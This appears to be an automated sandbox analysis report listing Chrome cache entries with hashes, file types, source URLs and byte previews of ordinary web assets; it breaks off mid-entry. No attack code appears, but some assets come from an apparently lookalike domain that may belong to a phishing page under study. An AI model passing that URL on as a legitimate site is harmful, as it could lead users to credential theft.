SHA1:	4414513E3B2A8CC07BE1BB15F0327CC765C62066
SHA-256:	5ADD833B03F3A1CFF07A11F8A5CFCF989AC916A6A57DF554996A13D7DA317C60
SHA-512:	CF40574F217CD4A7E273D619BAF5F7C9DCCD2C69A31B253BD52B68B40EFB9F6BAC52C94ECB8B872DD5BBF84D4F821BEC882DC16D0677DCDC95E3DBFFF0A5EF3D
Malicious:	false
URL:	http://www.pipebending.com/scripts/82c74ff8.scripts.js
Preview:	...........\.r.F.~..T.* D)ql.32e'..........&.${...\HqT..........(.$...ER.m...?...>.;@{U.DQ.:,..2.T...DU..<,g.:<.2...U:.MU...t24.T.....Ty...X.....7..NdI..c&..%2.g.........o..I.z.....(..(73.1...<~.X..q...6..G..2.3[.$2....x~..X...L..B.B....s%...x..H.....h.<.xS>1.m..\|.$P..K.d1..B...Nh..;vGPfq0-....L...CnK....jLvG....v.. ...,z..g:$.Xi.y.s.;.yv..D.Q.4.5T.K.TNT+.5.p='.?yk.^9h.f..&.!.....a..0=..f.K..O.%...N...;..Z9^Q..^O$..... .N..Ni.....lV....._..h...x..>R.-..... ?....Ph.7...S...z.bk..>.....Xmu.....e.!.a..e.h..t...;.?....~..Z.....a..[..Kn...(..3;....~..n.,I....E.d.cg.+.u....HGski.X-..v..]G.'i.%f&.E...:V..W....v]......7S.cM..,...?Ip......D.P.NS3..:m...$....L...o..Ft.$....r.."..ac.k.\|&...\|3.... .U....2Wo"ts..<..wCO..7y....!/-eX..V&.....Z.7.q..5.dh...!.t.}...Q0..t..\|o..x...UJ#....x_......).(...n.3..t..K..K.B....._`.H...;<.b..p+..."__.....-.@......<..W...*4dT...2.4,.....F._s..o8.../\|wj.).tp.Ej.v..M';%{..+`7.....kK.M.....;./9\]./..f.I7.

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 69 x 132, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2507
Entropy (8bit):	7.734048492729679
Encrypted:	false
SSDEEP:	48:/JuONLASYeexD6YKM6IF+Cqef8p+Q89iGG1HYGQZyJfn7:/AONLx2LOkd9K+QBtQQJz
MD5:	7F07F74EEF7A761B1C837459DCC72096
SHA1:	EBCD43E46719F3049CED42793E3F37FEB2C4BF75
SHA-256:	050EB82C06E9FB42C5576E9DD011259EBDCCB0F0D8AE0D0C3E7DE3667D8BF0A8
SHA-512:	5C3C4D6C2F2841C81A4532A61363CADB592B1D58E2CFF8E6CD234AB8A17C16DCACB0E921865BA122A9ADA5FA1A237771F5FB306F83933EE9D8768BD082BFF72A
Malicious:	false
Preview:	.PNG........IHDR...E................dPLTE......................................................................................................................................................666.......vvv///..........nnn............................KKK................................^^^ggg.......%%%.......................000.......%%%...JJJ???hhhxxx:::...RRR...}}}.............ppp......,,,YYY......ppp...\\\...JJJ....ggg...777<<<............[[[...HHHwww...aaaRRR............\|\|\|.........]]]...OOOwww....rrrDDD...........aaa.....///\|\|\|..................[[[.....................fff........zzzUUU___......HHH.............%%%......._v.....tRNS.......Y........................! .XXX"W#%$YVW&WUR,PO:'..J)L!D<PSQ&D&8</=SR6@19KOKH+#3MI4(Q@@DCCKU$JT4$0.(.6.A"I#O;DG(%. .1PF59,:.M,*B."0?6H.6)1G.+$ACP'.I.. 0-E.1-5J13"8,+)'I;KM0.;=@-.S;.@+$2! 9=.6#B>F"2A8......JIDATh.Z.W.W.....,[fwfvf.[..K.f...b.%..A...Fc.-....Kz...{...7..Kr.O.=p.\|....~..y...?>.....s.!....0.....%.k=...@8......

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 69 x 132, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2507
Entropy (8bit):	7.734048492729679
Encrypted:	false
SSDEEP:	48:/JuONLASYeexD6YKM6IF+Cqef8p+Q89iGG1HYGQZyJfn7:/AONLx2LOkd9K+QBtQQJz
MD5:	7F07F74EEF7A761B1C837459DCC72096
SHA1:	EBCD43E46719F3049CED42793E3F37FEB2C4BF75
SHA-256:	050EB82C06E9FB42C5576E9DD011259EBDCCB0F0D8AE0D0C3E7DE3667D8BF0A8
SHA-512:	5C3C4D6C2F2841C81A4532A61363CADB592B1D58E2CFF8E6CD234AB8A17C16DCACB0E921865BA122A9ADA5FA1A237771F5FB306F83933EE9D8768BD082BFF72A
Malicious:	false
URL:	http://www.pipebending.com/images/arrow-right.png
Preview:	.PNG........IHDR...E................dPLTE......................................................................................................................................................666.......vvv///..........nnn............................KKK................................^^^ggg.......%%%.......................000.......%%%...JJJ???hhhxxx:::...RRR...}}}.............ppp......,,,YYY......ppp...\\\...JJJ....ggg...777<<<............[[[...HHHwww...aaaRRR............\|\|\|.........]]]...OOOwww....rrrDDD...........aaa.....///\|\|\|..................[[[.....................fff........zzzUUU___......HHH.............%%%......._v.....tRNS.......Y........................! .XXX"W#%$YVW&WUR,PO:'..J)L!D<PSQ&D&8</=SR6@19KOKH+#3MI4(Q@@DCCKU$JT4$0.(.6.A"I#O;DG(%. .1PF59,:.M,*B."0?6H.6)1G.+$ACP'.I.. 0-E.1-5J13"8,+)'I;KM0.;=@-.S;.@+$2! 9=.6#B>F"2A8......JIDATh.Z.W.W.....,[fwfvf.[..K.f...b.%..A...Fc.-....Kz...{...7..Kr.O.=p.\|....~..y...?>.....s.!....0.....%.k=...@8......

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 2902
Category:	downloaded
Size (bytes):	1280
Entropy (8bit):	7.835948380669025
Encrypted:	false
SSDEEP:	24:X3n84m2eMmV1uJ+aUeLt5a5jJ9aPcGxP7rryfPIPoupP7g:X3841eMFAaLPcGxfWnj7
MD5:	7977F525626174E1A6B705EAE09B7F6E
SHA1:	D1534DD30CB365135CDFB4CB0C22D901BB62319F
SHA-256:	956002B834AB922504896C9F1A303E6DC231A58B5DD6B782B184920EDD55326B
SHA-512:	13CC4952810E309656C95488A1F7C782324FA9EE2A7003F1F988307DA740CC784C0346BFC4F202CE194131143AD044CCC43EF40AB0F80778B48FEEF6B7BBE09E
Malicious:	false
URL:	http://www.pipebending.com/
Preview:	...........V[o.6.~N.....FtI.fIc.sA.a.."[1..@KG.=..H....P.Gq. .{...s...vS..u..0%.F....2...rA.n.o"K'..Z...B...c.;n.G.D.. R....F.+.</}...3b..$-.)q...U.;F........{......7;..\|.rN9...14'....B...I.s 3A..D.+......B.Z$D.$v.c}......!TRRAsPA".....g....w.....:.?..!......W;+&R..Rj.t........... sV..0).53..nX.......A.=..#w.......+rN...c.gs.H......h].6........k...HY.F=...K=.q..oW..&...;t..Z..nn.@...{...0....+q...]:i8...dI....\ph.>]#.K..z\|....r$.P[.G^.c......?.oy.....,.&.Q5..&.....EfS...O....-^...&4(s..T0ZxY..........s.......~....?.v.....4....sYA......J....d>v..3(.=4G.....$W..Br.3..L.* o..bB\.G.)g.,s.6....\|.N.-b,..`..t6vNm.....H%.fs.AU.......9R,/...jV. ...>.+....H..gK..kE..h....c.`UIe. V,5E..%.7.m.La..w ..............~.p8.8.F.I.7..:.D.ZJCR. 1.Q.....(......Z. .)!..*..v^)...!M..(@8..9...H..v:Fs.....s{K..KJ..~.v.3.k.X56.Jr....Z......1....q.t...#b...^9_...m`.m...>...}..Y..&.X.LW..O..0Y....'.KS.v0..,.p....r.e~t.FU...+...b.L..5..@jm...i....6...b......K.l."..

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1900)
Category:	downloaded
Size (bytes):	125411
Entropy (8bit):	5.543193541437218
Encrypted:	false
SSDEEP:	1536:mTlVeT+pErglq5PJx0kbK42PHYS6aF/ZOH3x+bkEutPBLKxcXHRmYW8UhRc3ySDm:glV4KaglU0571BF/0+chdH8YW8UhRi50
MD5:	BAA705991CE00E561895B48992303C5D
SHA1:	2BE640FECE058EF0ED83524DCA6C1723B9F252B5
SHA-256:	E1885F29FD96D7858408B92FA477F52E0B8F5E121EEF6CE47A89E02CDEA0AA2E
SHA-512:	0C6F5F82F7D3A6448EBFDD6DEB4CD41A99DC5F664B01C736368687EEF0BC49E8A12666DC65DD52F64E341C49BB0730DE2202FA9AF5AEB2A68B7B0375AD94F567
Malicious:	false
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-W5R5HJC
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__f","vtp_component":"URL"},{"function":"__e"}],. "tags":[],. "predicates":[],. "rules":[].},."runtime":[ .]..........};...var ba,ea=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ia=function(a){for(var b=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"o

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://ridgelineexcavatoin.com/boot/8a55860f2cae358e560aa5f55856c7c166218b25540ff
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	105369
Entropy (8bit):	5.240719144154261
Encrypted:	false
SSDEEP:	1536:l+gu2w+EEnazA/PWrF7qvEAFiQcpmQoDZztVEHn8:E6CEVEH8
MD5:	8E6B0F88563F9C33F78BCE65CF287DF7
SHA1:	EF7765CD2A7D64ED27DD7344702597AFF6F8C397
SHA-256:	A7057BEBFFF43E7281CA31DA00D40BD88C8D02D1576B9C45891DD56A3853269A
SHA-512:	7DCE31D45ACA40340490B9F437A22ADF212B049DE0D4DDEB908A50C1F5C6C7B5561323B3A93B6ED3E5A7C44D7170460BFF8D8722749191C0F5A8DBD83E093E7F
Malicious:	false
URL:	https://ridgelineexcavatoin.com/APP-8a55860f2cae358e560aa5f55856c7c166218b27293e0/8a55860f2cae358e560aa5f55856c7c166218b27293e1
Preview:	html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 14124, version 1.0
Category:	downloaded
Size (bytes):	14124
Entropy (8bit):	7.976929813314727
Encrypted:	false
SSDEEP:	384:uftnolLIaxdPWXvD02aIoAtpDljHXP/u3CHQzMy:u1noFxsXHoAljHXP/u3CHQb
MD5:	F8239247C312254CC5C0DC874B7C326E
SHA1:	2DB1CE09DF4A682E23AED500A6F7E832AC8B27CA
SHA-256:	5389B7081BFB54864CF5D7EF6CBCBE9D484640C6E170611DE79E771B20AEF12B
SHA-512:	0C978ADC6B69C7D2EBF652114FBDC306302814D03DEABCE6AE9EEEDCAD9EA2EC4A22C04E3C0E430DEDBA37494689563F5C226B41724C3B756E40C84E9002A717
Malicious:	false
URL:	http://www.pipebending.com/styles/fonts/UniveCon.woff
Preview:	wOFFOTTO..7,......JT........................CFF ......-...;.s..xFFTM............g>.8GDEF........... ....OS/2.......V...`Z...cmap../P...i..... uhead..1....4...6..Z9hhea..1........$.\|.Ghmtx..2...........&.maxp..3...........P.name..4........rVC..post..7........ ...8x.}{.\S.......j...m..M.AE,.EE..bC..(.....e....b........(V..`...o}..s.....P\|..o%.....9}...!ss$....f.$E.'......9+!2....y.M..F.5....?.;[.5.....%...I[.M."....y[......).(Q..Zc...i..3-&1,6v.M......a..1."m.#."..F...M..nD.%..D.........3k.Mbt..M...Qa....I1..a.:,>.&..f~..x...H..fV"..I....=?>fZt".w.w........Yq.t4..q3g....ol....@..c$EFt.\|.....O.0.......\|.cX...b.6KX.\|....Taa..DF...M..#b.f....g.E.D...........[.$..J......c...P.SG.M.K.I..IL..e.6[.BX...\|[N..m...4h.........#s$AR$C...#..@...5E.Ps.D,j.8d.~B-Q+...Am..H.....";...#...u@..#rB.....N.......uA...uE.Pw.z ....B.Q..RP?...@.. 4..A~h(...#.4...@4...`..F..h.....(.M@..$4.MAah.@%(...A..t...EK.N...A..u....k...A.P6Z.......B..Qt...2.o..:..."t.......Cg..t..C..y..e.+.

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
URL:	https://ridgelineexcavatoin.com/ASSETS/img/sig-op.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, truncated
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.1961999989708914
Encrypted:	false
SSDEEP:	3:FttN053m/ln:Xtrl
MD5:	E3981CA10169A319D5AA062BF43A5FA1
SHA1:	2C6ED584767B65688CE99B1EBE1A3B7448A67421
SHA-256:	8B0B8749ABA12DE93F3CF5D86F9FAC9D6DE7CAC400A17473718F182A34EBB7E9
SHA-512:	A154A7A25CD8898B2DEDE603897897E7B0F8A0138C3C79C29314DF21195C4B86CFF4BE451A795B31B439AFCB16B73759EC1EC7AADA7F36D565B9EC690DFF43DA
Malicious:	false
Preview:	.......................

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1900)
Category:	downloaded
Size (bytes):	142284
Entropy (8bit):	5.551994346145317
Encrypted:	false
SSDEEP:	3072:QalV4Kaglc0171BF/p+cAdH8YW8UhRv5M:bysprvSH8YW8UhM
MD5:	2577F3E6BF983903E9B636E32833722F
SHA1:	B9CFEFF2508EF5F834A9AF4806C5AC30B2BD92D8
SHA-256:	74CF7BC3887B68CF19B28412B5E5C41167166CA14BE46EC5B7A95130B26F1D0E
SHA-512:	CD51013D30154DE16683C60BB8FFB14C97612DD5A74E1D4ADBE2F612FA4CCCCED1ACF4641A7720DAC961CCD82F1B464FBDEBEBD5199164D0F2CCFB70C438BC8E
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/js?id=UA-122036208-1&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"c"}],. "tags":[{"function":"__rep","vtp_containerId":"UA-122036208-1","vtp_remoteConfig":["map"],"tag_id":1}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"}],. "rules":[[["if",0],["add",0]]].},."runtime":[ .]..........};...var ba,ea=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ia=function(a){for(var b=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global],c=0;c<b.length;++c){var d=b[c];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");.},ja=ia(this),ka=function(a,b){if(b)a:{for(var c=ja,

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1900)
Category:	downloaded
Size (bytes):	145479
Entropy (8bit):	5.550518330816674
Encrypted:	false
SSDEEP:	3072:0flV4Kaglu0n71BF/p+cAd78YW8UhRf50:qysNrvS78YW8UhI
MD5:	B4C12C8F2736B4ECC4BFB0C5147DC7A4
SHA1:	38D17ABDCD0D98C7670F7B326685BA7408BD7427
SHA-256:	8B95077BA0A47DA568A6A383D8F35A0E8276A2E545535D2BC7DD160D07A4452B
SHA-512:	8CDBF64DBCE3F495D1DDB67361E04DF698B3A02125F7F362E94EE61E396A5EE9A2CB1D2A645F9D493AA84D58136605DF9682A1B7422B2F1D1CD842F48E22EC94
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/js?id=UA-122036208-1
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"undefined"}],. "tags":[{"function":"__rep","vtp_containerId":"UA-122036208-1","vtp_remoteConfig":["map"],"tag_id":1},{"function":"__zone","vtp_childContainers":["list",["map","publicId","UA-208681781-1"]],"vtp_enableConfiguration":false,"tag_id":3}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"}],. "rules":[[["if",0],["add",0,1]]].},."runtime":[ .]..........};...var ba,ea=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ia=function(a){for(var b=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global],c=0;c<b.len

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ridgelineexcavatoin.com/jq/8a55860f2cae358e560aa5f55856c7c166218b25540f0
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://ridgelineexcavatoin.com/o/8a55860f2cae358e560aa5f55856c7c166218b2729408
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HtHKiY:RKiY
MD5:	011B17B116126E6E0C4A9B0DE9145805
SHA1:	DF63A6EB731FFCE96F79802EFF6D53D00CDA42BC
SHA-256:	3418E6E704387A99F1611EB7BB883328A438BA600971E6D692E8BEA60F10B179
SHA-512:	BB432E96AF588E0B19CBD8BC228C87989FE578167FD1F3831C7E50D2D86DE11016FB93679FEF189B39085E9151EB9A6EB2986155C65DD0FE95EC85454D32AE7D
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAm_2TlIaPyMShIFDdFbUVI=?alt=proto
Preview:	CgkKBw3RW1FSGgA=

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 933
Category:	dropped
Size (bytes):	450
Entropy (8bit):	7.448270914829428
Encrypted:	false
SSDEEP:	12:XmTbzBh4fbL/Kx5sGrBVxfKW8FYkIXTvoin:Xm3zBhsbrKUGtf4FYBjvh
MD5:	0AECD17DC03BA9A60F1A2198AF94AB8E
SHA1:	25EAF30B3CFB1219A9B43B22F12DAAF94913CA48
SHA-256:	2DAE2A937C1824A96B9411FEA5E0EFF1543C1EB327582B6E0F4E87DF1E927394
SHA-512:	E2C013E60CF76E610CBD54D3B581723CAA3574282412AA5CEC6A1E39FD65E24FC29BDCD525B8366951893FEA24C0591036FD2EA004C7BB9E100DE99E335D1AC9
Malicious:	false
Preview:	...........S.n.0...F..@.n{L....B~...2SY.$9.b../..v.s..$.9&g....t.S:*9..a.tO'.lV....d...SM....#;..d'......"......K`(..~....Gh)g.0....9..g......@.S..v..;.. .-...]^.....h-.t.c.v..~...M....1E.=..e...uU.......:a..p]-.J..fl....H.....G.)v.2..TYo..5..)...#..?....yGw<..3...K.~........].....y.bJ..c8..P.X...,.Q.!..<`..N...l.~/P....)........._G..j.7.lE..d.......F`WRT..U..2...._..K.;L.~...,......l \|.....$.z5l.B..1.[...n.Y.[\|.+-..5.........

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 37 x 16, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlAvttnthsyxl/k4E08up:6v/lhPWZthsy7Tp
MD5:	E4914D7B82856AB8079AE7E82A9A77CD
SHA1:	FFCDFCDF6E7C0EDCA579402DA3C714A5C0728F67
SHA-256:	C4A37C4CE64B37556AE47027CB2B9DA2E4B72D0FB17D69D2D5695587F249EFFB
SHA-512:	65FCB9D9D50090B187B9495BAD002A652BDF99E71A0988F18D8F4A1972A314BDF635CE4798FF9DE85C2CD9900F0EE2BBB102987DADF615062A40AFB087D80BB4
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/87679d13b8ca6789/1713474334611/5Vy4gR13UJmVS9e
Preview:	.PNG........IHDR...%..........K!J....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 18120, version 1.0
Category:	downloaded
